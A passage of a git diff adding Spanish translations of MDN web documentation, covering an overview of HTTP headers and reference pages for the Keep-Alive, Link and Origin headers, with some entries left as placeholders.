+ <dt>{{HTTPHeader("Last-Modified")}}</dt>
+ <dd>Se trata de un validador, indicando la fecha de la última modificación del recurso, utilizado para comparar diferentes versiones del mismo recurso. No es tan preciso como {{HTTPHeader("ETag")}}, pero es más sencillo de calcular en algunos entornos. Las peticiones condicionales que usan {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Unmodified-Since")}}utilizan este valor para cambiar el comportamiento de la petición.</dd>
+ <dt>{{HTTPHeader("ETag")}}</dt>
+ <dd>Se trata de un validador, un tipo de hilo único identificando la versión del recurso. Las peticiones condicionales que usan {{HTTPHeader("If-Match")}} y {{HTTPHeader("If-None-Match")}} utilizan este valor para cambiar el comportamiento de la petición.</dd>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Realiza la petición condicional y aplican el método sólo si el recurso almacenado coincide con uno de los ETags asignados.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Realiza la petición condicional y aplican el método sólo si el recurso almacenado no coincide con ninguno de los ETags. Ésta cabecera se utiliza para actualizar cachés (para peticiones seguras), o para prevenir la subida de un recurso si éste ya existe en el servidor.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Realiza la petición condicional y espera que la entidad sea transmitia sólo si ha sido modificada tras la fecha especificada. Esta cabecera se usa para transmitir datos si la cabecera ha quedado desfasada.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Realiza la petición condicional y espera que la entidad sea transmitia sólo si no ha sido modificada tras la fecha especificada. Esta cabecera se usa para preservar la coherencia de un nuevo fragmento de un rango especifico respecto a otros ya existentes, o para implementar un sistema de control de concurrencia optimistacuando se están modificando documentos existentes. </dd>
+</dl>
+
+<h2 id="Gestión_de_conexiones">Gestión de conexiones</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Connection")}}</dt>
+ <dd>Controla si la conexión a la red se mantiene activa después de que la transacción en curso haya finalizado.</dd>
+ <dt>{{HTTPHeader("Keep-Alive")}}</dt>
+ <dd>Controla el tiempo durante el cual una conexión persistente debe permanecer abierta.</dd>
+</dl>
+
+<h2 id="Negociación_de_contenido">Negociación de contenido</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept")}}</dt>
+ <dd>Informa al servidor sobre los diferentes tipos de datos que pueden enviarse de vuelta. Es de tipo MIME.</dd>
+ <dt>{{HTTPHeader("Accept-Charset")}}</dt>
+ <dd>Informa al servidor sobre el set de caracteres que el cliente puede entender.</dd>
+ <dt>{{HTTPHeader("Accept-Encoding")}}</dt>
+ <dd>Informa al servidor sobre el algoritmo de codificación, habitualmente un algoritmo de compresión, que puede utilizarse sobre el recurso que se envíe de vuelta en la respuesta.</dd>
+ <dt>{{HTTPHeader("Accept-Language")}}</dt>
+ <dd>Informa al servidor sobre el lenguage que el servidor espera recibir de vuelta. Se trata de una indicación, y no estará necesariamente sometida al control del cliente: el servidor siempre deberá estar atento para no sobreescribir una selección específica del usuario (como, por ejemplo, una selección de idiomas en una lista desplegable). </dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Controles">Controles</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Expect")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Max-Forwards")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Cookies">Cookies</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cookie")}}</dt>
+ <dd>Contiene <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> enviadas previamente por el servidor con la cabecera {{HTTPHeader("Set-Cookie")}} .</dd>
+ <dt>{{HTTPHeader("Set-Cookie")}}</dt>
+ <dd>Envia cookies desde el servidor al usuario.</dd>
+ <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>Habitualmente contenía una cookie HTTP, enviada previamente por el servidor con la cabecera {{HTTPHeader("Set-Cookie2")}} , pero ha quedado obsoleta por la especificación. Utiliza en su lugar {{HTTPHeader("Cookie")}}.</dd>
+ <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>Se utilizaba para enviar cookies desde el servidor al usuario, but has been obsoleted by the specification. pero ha quedado obsoleta por la especificación. Utiliza en su lugar  {{HTTPHeader("Set-Cookie")}} .</dd>
+ <dt>
+ <h2 id="CORS">CORS</h2>
+ </dt>
+ <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
+ <dd>Indica si la respuesta puede ser compartida.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
+ <dd>Indica si la respuesta puede quedar expuesta o no cuando el marcador de la credencial retorna como 'true'. </dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
+ <dd>Utilizado como respuesta a una solicitud de validación para indicár qué cabeceras HTTP pueden utilizarse a la hora de lanzar la petición.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
+ <dd>Especifica el método (o métodos) permitido al acceder al recurso, en respuesta a una petición de validación.</dd>
+ <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
+ <dd>Indica qué cabeceras pueden ser expuestas como parte de una respuesta al listar sus nombres. </dd>
+ <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
+ <dd>Indica durante cuánto tiempo puede guardarse el resultado de una solicitud de validación. </dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
+ <dd>Utilizada al lanzar una petición de validación, para permitir al servidor saber qué cabeceras HTTP se utilizarán cuando la petición en cuestión se lance. </dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
+ <dd>Utilizada al enviar una solicitud de validación que permite al servidor saber qué <a href="/en-US/docs/Web/HTTP/Methods">método HTTP</a> se utilizará cuando la petición en cuestión se lance. </dd>
+ <dt>{{HTTPHeader("Origin")}}</dt>
+ <dd>Indica el punto de origen de una petición de recogida.</dd>
+ <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt>
+ <dd>Especifica los origines que tienen permitido ver los valores de los atributos obtenidos mediante las características de la <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>, que de otra forma serían reportados como cero debido a los orígenes cruzados.</dd>
+</dl>
+
+<h2 id="Cabeceras_sin_seguimiento">Cabeceras sin seguimiento</h2>
+
+<dl>
+ <dt>{{HTTPHeader("DNT")}}</dt>
+ <dd>Usada para indicar las preferencias de seguimiento (tracking) del usuario.</dd>
+ <dt>{{HTTPHeader("Tk")}}</dt>
+ <dd>Indica el estado del seguimiento que se aplica a la petición en curso.</dd>
+</dl>
+
+<h2 id="Descargas">Descargas</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Disposition")}}</dt>
+ <dd>Una cabecera de respuesta usada en caso de que el recurso transmitid deba mostrarse en pantalla , o debe ser gestionada como una descarga y por tanto el navegador deba presentar una pantalla de 'Guardar Como'. </dd>
+</dl>
+
+<h2 id="Mensajes_sobre_la_información_del_cuerpo_body">Mensajes sobre la información del cuerpo (body)</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Length")}}</dt>
+ <dd>Indica el tamaño del cuerpo del recurso, expresado en números decimales de octetos, que ha sido enviado al recipiente.</dd>
+ <dt>{{HTTPHeader("Content-Type")}}</dt>
+ <dd>Indica el tipo de medio del recurso .</dd>
+ <dt>{{HTTPHeader("Content-Encoding")}}</dt>
+ <dd>Utilizado para indicar el algoritmo de compresión.</dd>
+ <dt>{{HTTPHeader("Content-Language")}}</dt>
+ <dd>Indica el idioma (o idiomas) elegidos para los usuarios, de forma que se pueda mostrar contenido diferenciado para el usuario de acuerdo a sus preferencias de idioma.</dd>
+ <dt>{{HTTPHeader("Content-Location")}}</dt>
+ <dd>Indica un punto de origen alternativo para un recurso.</dd>
+ <dt>
+ <h2 id="Proxies">Proxies</h2>
+ </dt>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Forwarded")}}</dt>
+ <dd>Contiene información sobre el 'lado cliente' de un servidor proxy, que se alteraría o perdería si un proxy está involucrado en la ruta de la petición.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
+ <dd>Identifica la IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o un equilibrador de carga.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
+ <dd>Identifies the la dirección original solicitada que un cliente haya utilizado para conectarse a un proxy o equilibrador de carga.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
+ <dd>Identifica el protocolo (HTTP o HTTPS) que un cliente haya utilizado para conectarse a un proxy o equilibrador de carga.</dd>
+ <dt>{{HTTPHeader("Via")}}</dt>
+ <dd>Añadida por los proxies, y pueden aparecer tanto en las cabeceras de petición como las de respuesta.</dd>
+</dl>
+
+<h2 id="Redirecciones">Redirecciones</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Location")}}</dt>
+ <dd>Indica la URL a la que debe redirigir una página determinada.</dd>
+</dl>
+
+<h2 id="Contexto_de_petición">Contexto de petición</h2>
+
+<dl>
+ <dt>{{HTTPHeader("From")}}</dt>
+ <dd>Contiene la dirección de email de un usuario humano que controla el gestor de peticiones.</dd>
+ <dt>{{HTTPHeader("Host")}}</dt>
+ <dd>Especifica el nombre de dominio del servidor (para alojamiento virtual), y (opcionalmente) el número de puerto TCP en el que está escuchando el servidor.</dd>
+ <dt>{{HTTPHeader("Referer")}}</dt>
+ <dd>Indica la dirección de la página web previa desde la cual un link nos ha redirigido a la actual.</dd>
+ <dt>{{HTTPHeader("Referrer-Policy")}}</dt>
+ <dd>Establece la información del referer que deberá ser enviada en las peticiones que incluyan {{HTTPHeader("Referer")}}.</dd>
+ <dt>{{HTTPHeader("User-Agent")}}</dt>
+ <dd>Contiene un string característico que será examinado por el protocolo de red para identificar el tipo de aplicación, sistema operativo, proveedor de software o versión del software del agente de software que realiza la petición. Véase también <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd>
+</dl>
+
+<h2 id="Contexto_de_respuesta">Contexto de respuesta</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Allow")}}</dt>
+ <dd>Lista el rango de métodos de peticiones HTTP aceptadas por un servidor.</dd>
+ <dt>{{HTTPHeader("Server")}}</dt>
+ <dd>Contiene información sobre el software utilizado por el servidor de origen para gestionar la petición.</dd>
+</dl>
+
+<h2 id="Peticiones_de_rango">Peticiones de rango</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Ranges")}}</dt>
+ <dd>Indica si el servidor acepta peticiones de rango y, de ser así, en qué unidades puede expresarse ese rango. </dd>
+ <dt>{{HTTPHeader("Range")}}</dt>
+ <dd>Indica la parte del documento que el servidor debe devolver.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Crea una petición de rango condicional que sólo es satisfecha cuando el etag o los datos provistos coinciden con los del recurso remoto. Se usan para prevenir la descarga de dos rangos desde versiones incompatibles del mismo recurso. </dd>
+ <dt>{{HTTPHeader("Content-Range")}}</dt>
+ <dd>Indica el lugar que debe ocupar un mensaje parcial dentro de la totalidad del cuerpo del recurso. </dd>
+</dl>
+
+<h2 id="Seguridad">Seguridad</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt>
+ <dd>Controla qué recursos puede cargar el usuario para una página concreta. </dd>
+ <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt>
+ <dd>Permite a los desarrolladores web experimentar con políticas de acceso, monotorizando (pero sin implementar) sus efectos. Éstos informes de violación de protocolo contienen documentos del tipo {{Glossary("JSON")}} enviados mediante una petición HTTP <code>POST</code> hacia el URI especificado.</dd>
+ <dt>{{HTTPHeader("Expect-CT")}}</dt>
+ <dd>Permite a los sitios optar por informar y/o hacer cumplir los requerimientos de Transparencia de Certificados, lo que impide que el uso de certificados publicados incorrectamente por ese sitio, pase desapercibido. Cuando un sitio habilita el encabezado Expect-CT, se solicita a Chrome que verifique que cualquier certificado para ese sitio, aparezca en los registros públicos de CT.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt>
+ <dd>Asocia una clave criptográfica pública y específica con un determinado servidor web para reducir el riesgo de {{Glossary("MITM")}} ataques con certificados falsificados.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt>
+ <dd>Envía reportes al report-uri especificado en la cabecera, sin bloquear la conexión entre cliente y servidor aún cuando el pinning ha sido violado.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt>
+ <dd>Fuerza la comunicación utilizando HTTPS en lugar de HTTP.</dd>
+ <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt>
+ <dd>Envía una señal al servidor expresando la preferencia del cliente por una respuesta encriptada y autenticada, y esta puede manejar de forma satisfactoria la directiva {{CSP("upgrade-insecure-requests")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt>
+ <dd>Deshabilita el MIME sniffing y fuerza al navegador a utilizar el tipo establecido en {{HTTPHeader("Content-Type")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Download-Options")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt>
+ <dd>Le indica al navegador que debe renderizar una página utilizando {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} o {{HTMLElement("object")}}.</dd>
+ <dt>{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Powered-By")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-XSS-Protection")}}</dt>
+ <dd>Habilita los filtros de cross-site scripting.</dd>
+</dl>
+
+<h2 id="Eventos_enviados_por_el_servidor">Eventos enviados por el servidor</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Ping-From")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Ping-To")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Last-Event-ID")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Codificación_de_transferencia">Codificación de transferencia</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Transfer-Encoding")}}</dt>
+ <dd>Especifica la forma de codificación para transferir la entidad al usuario de forma segura.</dd>
+ <dt>{{HTTPHeader("TE")}}</dt>
+ <dd>Especifica la codificación de transferencia que el usuario estará dispuesto a aceptar.</dd>
+ <dt>{{HTTPHeader("Trailer")}}</dt>
+ <dd>Le permite al remitente incluir campos adicionales al final de un mensaje fragmentado.</dd>
+</dl>
+
+<h2 id="WebSockets">WebSockets</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Otros">Otros</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Date")}}</dt>
+ <dd>Contiene la fecha y la hora en que el mensaje fue originado.</dd>
+ <dt>{{HTTPHeader("Expect-CT")}}</dt>
+ <dd>Le permite a los sitios el optar por reportar o forzar los requerimientos de transparencia de certificado.</dd>
+ <dt>{{HTTPHeader("Large-Allocation")}}</dt>
+ <dd>Le indica al navegador que la página a ser cargada va a realizar una asignación grande.</dd>
+ <dt>{{HTTPHeader("Link")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Retry-After")}}</dt>
+ <dd>Indica cuánto tiempo debe esperar el usuario antes de hacer una solicitud de seguimiento.</dd>
+ <dt>{{HTTPHeader("Server-Timing")}}</dt>
+ <dd>Comunica una o mas métricas y descripciones para un dado ciclo de petición-respuesta.</dd>
+ <dt>{{HTTPHeader("SourceMap")}}</dt>
+ <dd>Enlaza el código generado a un <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>.</dd>
+ <dt>{{HTTPHeader("Upgrade")}}</dt>
+ <dd>Éste es un Estándar de Internet Propuesto. Para leer una guía inclusiva de todos los Estándares de Internet Oficiales y Propuestos con información detallada sobre cada uno de ellos, <a href="https://www.rfc-editor.org/standards">visita esta referencia de Estándares de Internet,</a> que se actualiza de forma diaria. El documento relevante de la RFC para la Actualuzación sobre los Estándares de Cabeceras es el <a href="https://tools.ietf.org/html/rfc7230#section-6.7">RFC 7230, sección 6.7</a>. El estándar establece reglas para la actualización o cambios a un protocolo doferente en el cliente, servidor, o protocolo de conexiones actuales.Por ejemplo, este estándar de cabecera permite que un cliente cambie de un protocolo HTTP 1.1 al HTTP 2.0, asumiendo que el servidor decida reconocer e implementar la cabecera de Actualización. Ninguna de las partes involucradas está obligada a aceptar los cambios implementados por el campo de la Cabecera de Actualización {{HTTPHeader("Upgrade")}}.  Puede usarse tanto para cabeceras de cliente como para las del servidor. Si se especifica la cabecera de Actualización, el emisor también DEBE enviar el campo de cabecera de Conexión con la opción de actualización especificada. Para más detalles sobre dicho campo, por favor revisar la<a href="https://tools.ietf.org/html/rfc7230#section-6.1"> sección 6.1 de la ya mencionada RFC</a>.</dd>
+ <dt>{{HTTPHeader("Vary")}}</dt>
+ <dd>Determina cómo emparejar futuras cabeceras de petición para decidir si una respuesta en caché puede utilizarse, en lugar de solicitar una cabecera nueva desde el servidor de origen. </dd>
+ <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt>
+ <dd>Controla el prefetching de DNS, una característica que permite a muchos navegadores realizar resoluciones de nombre de los dominios sobre ambos enlaces, que un usuario podría elegir seguir; así como URLs pata objetos referenciados por el documento incluyendo imágenes, CSS, archivos Javascript y demás. </dd>
+ <dt>{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Requested-With")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Robots-Tag")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}</dt>
+ <dd>Utilizada por Internet Explorer para señalar que tipo de modo de documento utilizar.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia- listado de cabeceras HTTP</a></li>
+ <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">Registro IANA</a></li>
+</ul>
diff --git a/files/es/web/http/headers/keep-alive/index.html b/files/es/web/http/headers/keep-alive/index.html
new file mode 100644
index 0000000000..73af07d2f4
--- /dev/null
+++ b/files/es/web/http/headers/keep-alive/index.html
@@ -0,0 +1,93 @@
+---
+title: Keep-Alive
+slug: Web/HTTP/Headers/Keep-Alive
+tags:
+  - HTTP
+  - encabezado
+  - header
+  - keep-alive
+translation_of: Web/HTTP/Headers/Keep-Alive
+---
+<div>{{HTTPSidebar}}{{Non-standard_header}}</div>
+
+<p>El encabezado <code><strong>Keep-Alive</strong></code> permite al remitente indicar como será la forma de conexión, se puede establecer un tiempo de espera y una cantidad máxima de solicitudes.</p>
+
+<div class="note">
+<p>El encabezado  {{HTTPHeader("Connection")}} se tiene que establecer en  "keep-alive" para que este encabezado tenga sentido. Además, {{HTTPHeader("Connection")}} y {{HTTPHeader("Keep-Alive")}} son ignorados en  HTTP/2; la administración de la conexión se realiza mediante otros mecanismos.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Keep-Alive: <em>parámetros</em></pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><em>parámetros</em></dt>
+ <dd>Lista de parámetros separados por coma, cada uno consiste en un identificador y un valor separado por el signo igual (<code>'='</code>). Es posible establecer los siguientes identificadores:
+ <ul>
+  <li><code>timeout</code>: indica la cantidad de  tiempo <em>mínima  </em>en la cual una conexión ociosa se debe mantener abierta (en segundos). Nótese que los <em>timeouts</em> mas largos que el <em>timeout</em> de TCP pueden ser ignorados si no se establece un mensaje de<em> TCP keep-alive</em>  en la capa de transporte.</li>
+  <li><code>max</code>: indica el número máximo de peticiones que pueden ser enviadas en esta conexión antes de que sea cerrada. Si es  <code>0</code>, este valor es ignorado para las conexiones no segmentadas, ya que se enviara otra solicitud en la próxima respuesta. Una canalización de HTTP puede ser usada para limitar la división.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Una respuesta que contiene el encabezado <code>Keep-Alive</code>:</p>
+
+<pre>HTTP/1.1 200 OK
+<strong>Connection: Keep-Alive</strong>
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Thu, 11 Aug 2016 15:23:13 GMT
+<strong>Keep-Alive: timeout=5, max=1000</strong>
+Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT
+Server: Apache
+
+(body)</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html#rfc.section.2">HyperText Transport Protocol Keep-Alive Header</a></td>
+   <td>The Keep-Alive Header (Experimental specification)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Keep-Alive", "appendix-A.1.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Keep-Alive")}}</p>
+
+<h2 id="Mirar_tambien">Mirar tambien</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></li>
+</ul>
diff --git a/files/es/web/http/headers/link/index.html b/files/es/web/http/headers/link/index.html
new file mode 100644
index 0000000000..d1de0eef8f
--- /dev/null
+++ b/files/es/web/http/headers/link/index.html
@@ -0,0 +1,79 @@
+---
+title: Link
+slug: Web/HTTP/Headers/Link
+tags:
+  - Enlaces
+  - HTTP
+  - HTTP Headers
+  - Links
+  - Referencia
+translation_of: Web/HTTP/Headers/Link
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El campo de encabezado de entidad de </span></span><strong><code>Link</code></strong> <span class="tlid-translation translation" lang="es"><span title="">HTTP proporciona un medio para serializar uno o más enlaces en encabezados HTTP</span></span>. <span class="tlid-translation translation" lang="es"><span title="">Es semánticamente equivalente al elemento HTML</span></span> {{HTMLElement("link")}}.</p>
+
+
+
+<h2 id="Sintaxis"><span class="tlid-translation translation" lang="es"><span title="">Sintaxis</span></span></h2>
+
+<pre class="syntaxbox">Link: &lt; <var>uri-referencia</var> &gt;; <var>parametro1</var>=<var>valor1</var>; <var>parametro2</var>="<var>valor2</var>"</pre>
+
+<dl>
+ <dt><code>&lt;uri-reference&gt;</code></dt>
+ <dd><span class="tlid-translation translation" lang="es"><span title="">La referencia de URI debe estar encerrada entre</span></span> <code>&lt;</code> y <code>&gt;</code>.</dd>
+</dl>
+
+<h3 id="Parametros">Parametros</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El encabezado del enlace contiene parámetros, que se separan con</span></span> <code>;</code> <span class="tlid-translation translation" lang="es"><span title="">y son equivalentes a los atributos del elemento</span></span> {{HTMLElement("link")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El URI debe estar encerrado entre</span></span> <code>&lt;</code> y <code>&gt;</code>:</p>
+
+<pre class="brush: http; no-line-numbers example-good">Link: &lt;https://ejemplo.com&gt;; rel="preconnect"</pre>
+
+<pre class="brush: http; no-line-numbers example-bad">Link: https://mal.ejemplo; rel="preconnect"</pre>
+
+<h3 id="Especificando_multiples_links">Especificando multiples links</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Se puede especificar varios enlaces separados por comas, por ejemplo:</span></span></p>
+
+<pre>Link: &lt;https://uno.ejemplo.com&gt;; rel="preconnect", &lt;https://dos.ejemplo.com&gt;; rel="preconnect", &lt;https://tres.ejemplo.com&gt;; rel="preconnect"</pre>
+
+<h2 id="Especificaciones"><span class="tlid-translation translation" lang="es"><span title="">Especificaciones</span></span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><span class="tlid-translation translation" lang="es"><span title="">Especificaciones</span></span></th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC(8288, "Link Serialisation in HTTP Headers", 3)}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{RFC(5988, "The Link Header Field", 5)}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td><span class="tlid-translation translation" lang="es"><span title="">Definición inicial</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><span class="tlid-translation translation" lang="es"><span title="">Compatibilidad del navegador</span></span></h2>
+
+<div class="hidden"><span class="tlid-translation translation" lang="es"><span title="">La tabla de compatibilidad en esta página se genera a partir de datos estructurados.</span> <span title="">Si desea contribuir con los datos, consulte </span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation" lang="es"><span title="">y envíanos un</span></span> pull request.</div>
+
+<p>{{Compat("http.headers.Link")}}</p>
+
+<h2 id="Ver_también"><span class="tlid-translation translation" lang="es"><span title="">Ver también</span></span></h2>
+
+<ul>
+ <li>{{HTTPStatus(103, "103 Early Hints")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/origin/index.html b/files/es/web/http/headers/origin/index.html
new file mode 100644
index 0000000000..99d4b11b0f
--- /dev/null
+++ b/files/es/web/http/headers/origin/index.html
@@ -0,0 +1,83 @@
+---
+title: Origin
+slug: Web/HTTP/Headers/Origin
+tags:
+  - Cabecera
+  - HTTP
+  - Petición del encabezado
+  - Referencia
+  - origin
+translation_of: Web/HTTP/Headers/Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de petición <strong><code>Origin</code></strong> indica de dónde se origina una búsqueda. No incluye ninguna información de ruta, sino sólo el nombre del servidor. Es enviado con las peticiones {{Glossary("CORS")}}, tanto como con las peticiones {{HTTPMethod("POST")}}. Es similar a la cabecera {{HTTPHeader("Referer")}}, pero, a diferencia de ésta, no revela la ruta completa.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Request header", "Petición del encabezado")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombe prohibido del encabezado")}}</th>
+   <td>Sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Origin: ""
+Origin: &lt;esquema&gt; "://" &lt;nombre de host&gt; [ ":" &lt;puerto&gt; ]
+</pre>
+
+<p><code>Origin</code> puede ser una cadena vacía: esto es útil, por ejemplo, si el origen es una <code>data</code> URL.</p>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;esquema&gt;</dt>
+ <dd>El protocolo usado. Generalmente es el protocolo HTTP o su versión segura, HTTPS.</dd>
+ <dt>&lt;nombre de host&gt;</dt>
+ <dd>El nombre de dominio del servidor (para hosting virtual) o la IP.</dd>
+ <dt>&lt;puerto&gt; {{optional_inline}}</dt>
+ <dd>Número de puerto TCP en el que el servidor está escuchando. Si no se proporciona, se usa el puerto por defecto para el servicio requerido (e.g., "80" para una URL HTTP).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Origin: https://developer.mozilla.org</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6454", "Origin", "7")}}</td>
+   <td>El Concepto de Origen Web</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td>
+   <td>Suplanta la cabecera <code>Origin</code> como se define en RFC6454.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
